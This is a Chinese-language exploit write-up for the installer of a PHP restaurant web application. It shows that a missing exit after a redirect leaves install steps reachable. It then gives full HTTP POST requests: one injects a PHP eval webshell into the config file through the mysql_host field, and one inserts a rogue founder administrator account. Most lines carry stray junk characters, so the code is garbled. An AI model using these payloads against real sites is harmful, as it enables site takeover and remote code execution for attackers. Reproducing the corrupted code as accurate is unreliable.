问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。0 Q; [3 C2 C) Y/ b
: D+ E4 Z7 t2 D, D$ v+ ?<?php0 t) z2 r# ]5 _7 _4 Z i
if(file_exists("../install.lock"))) {5 q0 ~2 l- q; S) L# }
{
- i. X8 t5 t2 M: Y header("Location: ../");//没有退出; u. T7 ?: j5 b8 Z+ F3 R7 G$ t3 k2 l M
}& E% F& O5 N2 ]. T; r. Z
, c( O, }; R0 O- ?- s; B" d
//echo 'tst';exit;
; f9 a r8 ~( f ]4 hrequire_once("init.php");5 j+ Q( e+ t! Z. ?' T8 x/ u7 i" b
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)4 |8 Z% g" L; N$ H: {$ O
{
) S$ g3 _* l) a7 F& W) F% P; N可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。9 X& p4 |3 {, Z7 r D9 i
% B& s, H- I; z: v+ z4 B* t1 H1、getshell(很危险)
! k; y5 [3 H7 c7 o9 t* Fif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
: B! `5 I3 q! a{
: V: _2 h& r5 W9 Z; i7 X8 ]$smarty->assign("step",1);
8 E, u( _2 g3 \- o+ S$ E$ F$smarty->display("index.html");1 H& k: U* F2 s3 }( |: F* W
}elseif($_REQUEST['step']==2)
' b7 Q, E1 f$ u* J{
) ~6 n* _+ o. g) d! h3 z' x $mysql_host=trim($_POST['mysql_host']);) [, K( v& e" G
$mysql_user=trim($_POST['mysql_user']);
# o9 z) B6 P# x( @: q- p $mysql_pwd=trim($_POST['mysql_pwd']);6 R9 L2 S" }/ G' [" b
$mysql_db=trim($_POST['mysql_db']);, |8 d- R! z0 W
$tblpre=trim($_POST['tblpre']);
. L5 Z6 w3 S+ p y $domain==trim($_POST['domain']);) B1 [6 S) D8 a, X
$str="<?php \r\n";# F" i# P. K+ O8 K2 O
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";: L2 N: u8 d" V$ Q: m' v
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
. l/ T/ }' Y3 @0 H. X $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
8 E' t* O; K' A& g. b. D4 @* o$ ] $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
1 A# T* e9 T- p7 [! [ $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
( j5 ]3 ?* B2 C- p2 ~" f1 x w" F $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";% i& t: J- I3 u$ v8 ~& H( q1 N4 U2 y
$str.='define("DOMAIN","'.$domain.'");'."\r\n";( ~" h0 j2 j& C( w& L# P( Q% |( o
$str.='define("SKINS","default");'."\r\n";. U0 |% ?3 U$ \6 f6 y1 v, f
$str.='?>';. h; J- V% T3 R- w5 G+ r
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
& X; k5 b0 b! z0 F$ V3 c上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
2 N5 L! C9 [ N/ e9 `POST /canting/install/index.php?m=index&step=2 HTTP/1.16 X B5 A+ e/ F& t" e4 j
Host: 192.168.80.129
, R2 n! a4 T7 h# C8 N! [User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.07 B# J; i8 T$ D3 L# j
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.84 L; i0 s! p# n3 B
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.34 h2 L, a w: B* T8 y
Accept-Encoding: gzip, deflate' l! D8 f3 D: B) k+ y7 R
Referer: http://192.168.80.129/canting/install/index.php?step=1
% x6 N6 D( B6 }) eCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
9 R1 d8 d( A' R2 Z0 r5 [1 X- ?- dContent-Type: application/x-www-form-urlencoded
8 Z7 ^5 F5 V7 k( H2 E. mContent-Length: 1261 F; } Q4 ]) N4 A- {8 s* i
" @& U/ H! a* [mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
6 p; c8 o+ V; Z& O! W6 r* v }但是这个方法很危险,将导致网站无法运行。8 Q& i' t" `9 C9 c# J6 n% _
, F8 m# s9 X: G$ M' S0 E. ?2、直接添加管理员. b+ ?0 j$ n% { u, y" Y6 O. s v
* K" {, l9 {* _2 a( S: i
elseif($_REQUEST['step']==5)
/ w3 d2 m9 V& h1 b* o: `0 C{+ y, k/ O' f2 [+ M! A' U* `4 g
if($_POST)
# v8 |, P" G3 y+ A; s" w { require_once("../config/config.inc.php");0 ?" q* p1 A' Z
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);8 J9 S0 z1 p( N5 i* l
mysql_select_db(MYSQL_DB,$link);
( i4 ^9 _5 f- Z. t l" p2 q7 I mysql_query("SET NAMES ".MYSQL_CHARSET ); K" H- J/ e: l s
mysql_query("SET sql_mode=''");* m( s6 P2 \, L3 a3 y' f9 d
& n8 h+ F$ n4 L& U! S/ i# I
$adminname=trim($_POST['adminname']);# h) ?5 U$ f. ~. p% X3 z, _; t
$pwd1=trim($_POST['pwd1']);) A6 B; O1 Q3 a3 T7 ]! G
$pwd2=trim($_POST['pwd2']);
2 k& x) q: n! A7 x5 H if(empty($adminname)), @3 ^8 ]2 s# D4 |3 A
{
" m" C: J- K, I! z' y* _3 |
! j7 q+ [/ }1 Q8 j D echo "<script>alert('管理员不能为空');history.go(-1);</script>";
; C, j5 [5 o$ W- s h3 {, K exit();
) B4 A0 G" m3 W0 |' ~ }0 v. R+ |2 K% _, Y1 G! {
if(($pwd1!=$pwd2) or empty($pwd1))0 A7 m- e( W" n
{
3 t" [" p3 Y% v$ M A echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
5 U; {) d5 T) m, a. {5 H' g8 N' ?0 ^ }1 f" I( _/ q) Z2 F9 M2 O
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
# c; i9 ]0 [+ h( }, B) q9 K }7 A5 A m1 N! Y: U! s
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:5 L q! e2 I8 _
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
8 Y: ]* M5 d# O' @Host: 192.168.80.129
5 x# ?# c# W+ E5 IUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
; b G$ n5 _9 x; L& o OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.82 j* o1 c9 X+ ^: ~7 ]: V
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3- V6 N' c7 x# J: x q. t
Accept-Encoding: gzip, deflate
; a8 t' E3 O6 ]! j5 E" p0 dReferer: http://www.2cto.com /canting/install/index.php?step=1
6 ~9 ]; |" a2 ]3 D2 nCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42/ D( w. t" c8 F5 A; l0 l. a
Content-Type: application/x-www-form-urlencoded
/ ^# i8 F# {$ L8 l, I# y& }Content-Length: 46/ p! [5 g; {+ F$ g
% k! E8 O6 U! t4 `! k+ ^
adminname=qingshen&pwd1=qingshen&pwd2=qingshen$ p5 E- H% m. q) k K$ H( d
|